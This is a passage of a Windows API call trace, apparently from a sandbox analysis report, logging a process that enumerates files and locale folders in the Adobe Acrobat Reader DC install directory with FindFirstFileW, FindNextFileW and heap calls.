ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.945] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.945] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.945] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0264.945] GetProcessHeap () returned 0xc10000 [0264.945] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0264.945] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0264.945] GetProcessHeap () returned 0xc10000 [0264.945] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0264.945] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0264.946] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.946] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.946] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.946] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0264.946] GetProcessHeap () returned 0xc10000 [0264.946] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0264.946] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0264.946] GetProcessHeap () returned 0xc10000 [0264.946] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0264.946] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0264.947] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.947] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xabb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.947] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xabb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.947] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0264.947] GetProcessHeap () returned 0xc10000 [0264.947] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0264.947] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0264.947] GetProcessHeap () returned 0xc10000 [0264.947] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0264.947] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0264.948] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.948] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xade, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.948] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xade, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.948] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0264.948] GetProcessHeap () returned 0xc10000 [0264.948] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0264.948] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0264.948] GetProcessHeap () returned 0xc10000 [0264.948] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0264.948] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0264.949] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.949] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x954, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.949] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x954, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.949] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0264.949] GetProcessHeap () returned 0xc10000 [0264.949] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0264.950] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0264.950] GetProcessHeap () returned 0xc10000 [0264.950] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0264.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0264.950] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.950] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xaa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.950] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xaa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.123] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0265.123] GetProcessHeap () returned 0xc10000 [0265.123] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0265.124] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.124] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.124] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0265.124] GetProcessHeap () returned 0xc10000 [0265.124] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0265.124] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x8e32, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0265.124] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa53, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0265.124] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa53, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0265.124] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0265.124] GetProcessHeap () returned 0xc10000 [0265.124] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0265.124] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0265.125] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0265.125] GetProcessHeap () returned 0xc10000 [0265.125] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0265.127] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="walk-through", cAlternateFileName="WALK-T~1")) returned 0 [0265.127] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0265.127] GetProcessHeap () returned 0xc10000 [0265.127] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0265.128] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15fa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rna-main.js", cAlternateFileName="")) returned 1 [0265.129] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="versions", cAlternateFileName="")) returned 1 [0265.129] GetProcessHeap () returned 0xc10000 [0265.129] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0265.129] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0265.130] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.130] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="framework-dev.js", 